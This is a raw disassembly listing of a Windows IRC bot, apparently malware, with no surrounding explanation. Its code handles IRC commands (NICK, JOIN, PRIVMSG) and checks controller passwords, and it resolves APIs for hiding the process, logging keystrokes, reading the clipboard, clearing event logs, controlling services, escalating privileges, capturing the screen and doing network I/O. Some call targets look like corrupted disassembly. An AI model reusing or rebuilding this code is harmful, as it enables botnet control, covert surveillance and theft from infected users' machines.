		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset dword_42A2E8
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_429D1C
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409515:				; CODE XREF: sub_401ACD+3D57j
					; sub_401ACD+3D6Ej
		push	edi
		push	offset dword_42A24C
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CFC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409531:				; CODE XREF: sub_401ACD+3D29j
					; sub_401ACD+3D40j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	edi
		push	offset unk_429CDC
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_401ACD+3CFBj
					; sub_401ACD+3D12j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CB8
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409570:				; CODE XREF: sub_401ACD+3123j
					; sub_401ACD+313Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C98
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h


loc_4095A6:				; CODE XREF: sub_401ACD+7B23j
		push	eax
		nop
		call	near ptr 26A044Bh


loc_4095AD:				; CODE XREF: sub_401ACD+2A5Fj
		xor	eax, eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4095B4:				; CODE XREF: sub_401ACD+30F5j
					; sub_401ACD+310Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C70
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4095A6
; ---------------------------------------------------------------------------


loc_4095F2:				; CODE XREF: sub_401ACD+EADj
					; sub_401ACD+EC2j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40AE84
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C4C


loc_40963D:				; CODE XREF: sub_401ACD+6FCCj
					; sub_401ACD+75F1j ...
		call	sub_415DAC
		pop	ecx


loc_409643:				; CODE XREF: sub_401ACD+6BD8j
		pop	ecx


loc_409644:				; CODE XREF: sub_401ACD+63Dj
					; sub_401ACD+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_40964C:				; CODE XREF: sub_401ACD+A98j
					; sub_401ACD+AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F75
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F75
		push	offset asc_42CDBC ; "!"
		push	[ebp+var_90]
		call	sub_41CAD4
		mov	esi, eax
		push	offset word_4CB88C
		push	ebx
		inc	esi
		call	sub_41CAD4
		push	offset asc_429C48 ; "~"
		push	eax
		call	sub_41CAD4
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41CA50
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096EB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BC8
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_401ACD+7BDAj
		mov	[ebp+arg_24], offset off_42915C


loc_4096F2:				; CODE XREF: sub_401ACD+7C41j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409752
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429160
		jb	short loc_4096F2
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B74
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_409752:				; CODE XREF: sub_401ACD+7C34j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409757:				; CODE XREF: sub_401ACD+7CB4j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F75
		cmp	[edi], bl
		jnz	short loc_409777
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409788


loc_409777:				; CODE XREF: sub_401ACD+7C95j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409757
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409788:				; CODE XREF: sub_401ACD+7CA8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B54
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4097BF:				; CODE XREF: sub_401ACD+7CD6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B34


loc_4097CB:				; CODE XREF: sub_401ACD+595j
					; sub_401ACD+2889j ...
		call	sub_415DAC


loc_4097D0:				; CODE XREF: sub_401ACD+1B81j
		pop	ecx


loc_4097D1:				; CODE XREF: sub_401ACD+24FDj
		pop	ecx
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4097D7:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		mov	dword_4CB884, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409823	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41CB70
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		leave
		retn
sub_409823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409869	proc near		; CODE XREF: sub_401ACD+506p
					; sub_401ACD+134Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409884
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409884:				; CODE XREF: sub_409869+14j
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B9C0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409907
		push	7D0h
		nop
		call	near ptr 26A044Bh

locret_409907:				; CODE XREF: sub_409869+91j
		leave
		retn
sub_409869	endp


; =============== S U B	R O U T	I N E =======================================



sub_409909	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_4270A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A29
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CBA80, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB9F4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB9D8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB8E8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB894, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB8C4, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB93C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CBA34, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CBA90, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB8F4, eax
		call	esi
		cmp	dword_4CBA80, ebx
		mov	dword_4CB8DC, eax
		jz	short loc_409A07
		cmp	dword_4CB9F4, ebx
		jz	short loc_409A07
		cmp	dword_4CB9D8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8E8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8C4, ebx
		jz	short loc_409A07
		cmp	dword_4CB93C, ebx
		jz	short loc_409A07
		cmp	dword_4CBA34, ebx
		jz	short loc_409A07
		cmp	dword_4CBA90, ebx
		jz	short loc_409A07
		cmp	dword_4CB8F4, ebx
		jz	short loc_409A07
		cmp	eax, ebx
		jnz	short loc_409A11


loc_409A07:				; CODE XREF: sub_409909+B8j
					; sub_409909+C0j ...
		mov	dword_4CBA94, 1


loc_409A11:				; CODE XREF: sub_409909+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CBA0C, eax
		jz	short loc_409A3E
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A3E
; ---------------------------------------------------------------------------


loc_409A29:				; CODE XREF: sub_409909+1Dj
		nop
		call	near ptr 26A0CA7h
		mov	dword_4CBA98, eax
		mov	dword_4CBA94, 1


loc_409A3E:				; CODE XREF: sub_409909+117j
					; sub_409909+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26C0B72h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B53
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CBA30, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB9E0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB974, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CBA84, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB9A4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB9C4, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CBA28, eax
		call	esi
		cmp	dword_4CBA30, ebx
		mov	dword_4CB914, eax
		jz	short loc_409AF7
		cmp	dword_4CB9E0, ebx
		jz	short loc_409AF7
		cmp	dword_4CB974, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA84, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9A4, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9C4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA28, ebx
		jz	short loc_409AF7
		cmp	eax, ebx
		jnz	short loc_409B01


loc_409AF7:				; CODE XREF: sub_409909+1B8j
					; sub_409909+1C0j ...
		mov	dword_4CBA9C, 1


loc_409B01:				; CODE XREF: sub_409909+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB9A0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB8A8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB970, eax
		call	esi
		cmp	dword_4CB9A0, ebx
		mov	dword_4CB958, eax
		jz	short loc_409B5E
		cmp	dword_4CB8A8, ebx
		jz	short loc_409B5E
		cmp	dword_4CB970, ebx
		jz	short loc_409B5E
		cmp	eax, ebx
		jnz	short loc_409B68
		jmp	short loc_409B5E
; ---------------------------------------------------------------------------


loc_409B53:				; CODE XREF: sub_409909+144j
		nop
		call	near ptr 26A0CA7h
		mov	dword_4CBAA0, eax


loc_409B5E:				; CODE XREF: sub_409909+232j
					; sub_409909+23Aj ...
		mov	dword_4CBA9C, 1


loc_409B68:				; CODE XREF: sub_409909+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D21
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CBA44, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB988, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB9F8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB8D4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB938, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB9B0, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB954, eax
		call	esi
		cmp	dword_4CBA44, ebx
		mov	dword_4CB964, eax
		jz	short loc_409C11
		cmp	dword_4CB988, ebx
		jz	short loc_409C11
		cmp	dword_4CB9F8, ebx
		jz	short loc_409C11
		cmp	dword_4CB8D4, ebx
		jz	short loc_409C11
		cmp	dword_4CB938, ebx
		jz	short loc_409C11
		cmp	dword_4CB9B0, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409909+2DEj
					; sub_409909+2E6j ...
		mov	dword_4CBAA4, 1


loc_409C1B:				; CODE XREF: sub_409909+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB9B8, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB990, eax
		call	esi
		cmp	dword_4CB9B8, ebx
		mov	dword_4CBA40, eax
		jz	short loc_409C56
		cmp	dword_4CB990, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60


loc_409C56:				; CODE XREF: sub_409909+33Fj
					; sub_409909+347j
		mov	dword_4CBAA4, 1


loc_409C60:				; CODE XREF: sub_409909+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB9C8, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB8B0, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB8B8, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB91C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB920, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB8CC, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB994, eax
		call	esi
		cmp	dword_4CB9C8, ebx
		mov	dword_4CB8BC, eax
		jz	short loc_409D04
		cmp	dword_4CB8B0, ebx
		jz	short loc_409D04
		cmp	dword_4CB8B8, ebx
		jz	short loc_409D04
		cmp	dword_4CB91C, ebx
		jz	short loc_409D04
		cmp	dword_4CB920, ebx
		jz	short loc_409D04
		cmp	dword_4CB8CC, ebx
		jz	short loc_409D04
		cmp	dword_4CB994, ebx
		jz	short loc_409D04
		cmp	eax, ebx
		jnz	short loc_409D0E


loc_409D04:				; CODE XREF: sub_409909+3C5j
					; sub_409909+3CDj ...
		mov	dword_4CBAA4, 1


loc_409D0E:				; CODE XREF: sub_409909+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB8B4, eax
		jnz	short loc_409D36
		jmp	short loc_409D2C
; ---------------------------------------------------------------------------


loc_409D21:				; CODE XREF: sub_409909+26Aj
		nop
		call	near ptr 26A0CA7h
		mov	dword_4CBAA8, eax


loc_409D2C:				; CODE XREF: sub_409909+416j
		mov	dword_4CBAA4, 1


loc_409D36:				; CODE XREF: sub_409909+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E02
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB9C0, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CBA18, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CBA20, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB9DC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB8F8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB8A4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CBA1C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB890, eax
		call	esi
		cmp	dword_4CB9C0, ebx
		mov	dword_4CB930, eax
		jz	short loc_409E0D
		cmp	dword_4CBA18, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA20, ebx
		jz	short loc_409E0D
		cmp	dword_4CB9DC, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8F8, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8A4, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA1C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB890, ebx
		jz	short loc_409E0D
		cmp	eax, ebx
		jnz	short loc_409E17
		jmp	short loc_409E0D
; ---------------------------------------------------------------------------


loc_409E02:				; CODE XREF: sub_409909+438j
		call	near ptr 26A0CA7h
		nop
		mov	dword_4CBAB0, eax


loc_409E0D:				; CODE XREF: sub_409909+4B9j
					; sub_409909+4C1j ...
		mov	dword_4CBAAC, 1


loc_409E17:				; CODE XREF: sub_409909+4F5j
		mov	ebp, dword_4270C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0D3
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB944, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CBA78, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB8E4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB8C0, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB980, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB968, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB92C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CBA54, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CBA70, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB97C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CBA60, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CBA14, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB9D4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB9D0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB904, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB8FC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CBA24, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CBA38, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB9EC, eax
		call	esi
		mov	dword_4CB9AC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CBA00, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB9BC, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB9FC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CBA68, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB9B4, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB978, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB9E8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CBA58, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB98C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB928, eax
		call	esi
		cmp	dword_4CB944, ebx
		mov	dword_4CBA6C, eax
		jz	loc_40A0DE
		cmp	dword_4CBA78, ebx
		jz	loc_40A0DE
		cmp	dword_4CB8E4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB980, ebx
		jz	loc_40A0DE
		cmp	dword_4CB968, ebx
		jz	loc_40A0DE
		cmp	dword_4CB92C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA54, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA70, ebx
		jz	loc_40A0DE
		cmp	dword_4CB97C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA60, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA14, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9D0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB904, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA24, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA38, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9EC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9AC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA00, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9BC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9FC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA68, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9B4, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB978, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9E8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA58, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB98C, ebx
		jz	short loc_40A0DE
		cmp	eax, ebx
		jnz	short loc_40A0E8
		jmp	short loc_40A0DE
; ---------------------------------------------------------------------------


loc_40A0D3:				; CODE XREF: sub_409909+51Fj
		call	near ptr 26A0CA7h
		nop
		mov	dword_4CBAB8, eax


loc_40A0DE:				; CODE XREF: sub_409909+6BEj
					; sub_409909+6CAj ...
		mov	dword_4CBAB4, 1


loc_40A0E8:				; CODE XREF: sub_409909+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1ED
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB910, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB898, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB99C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB948, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB9A8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB96C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB8D8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB8D0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB8E0, eax
		call	esi
		cmp	dword_4CB910, ebx
		mov	ecx, dword_4CB96C
		mov	dword_4CBA08, eax
		jz	short loc_40A1C9
		cmp	dword_4CB898, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB99C, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB948, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9A8, ebx
		jz	short loc_40A1C9
		cmp	ecx, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8D0, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E0, ebx
		jz	short loc_40A1C9
		cmp	eax, ebx
		jnz	short loc_40A1D3


loc_40A1C9:				; CODE XREF: sub_409909+87Ej
					; sub_409909+886j ...
		mov	dword_4CBABC, 1


loc_40A1D3:				; CODE XREF: sub_409909+8BEj
		cmp	ecx, ebx
		jz	short loc_40A208
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB984, eax
		jnz	short loc_40A208
		jmp	short loc_40A202
; ---------------------------------------------------------------------------


loc_40A1ED:				; CODE XREF: sub_409909+7EAj
		nop
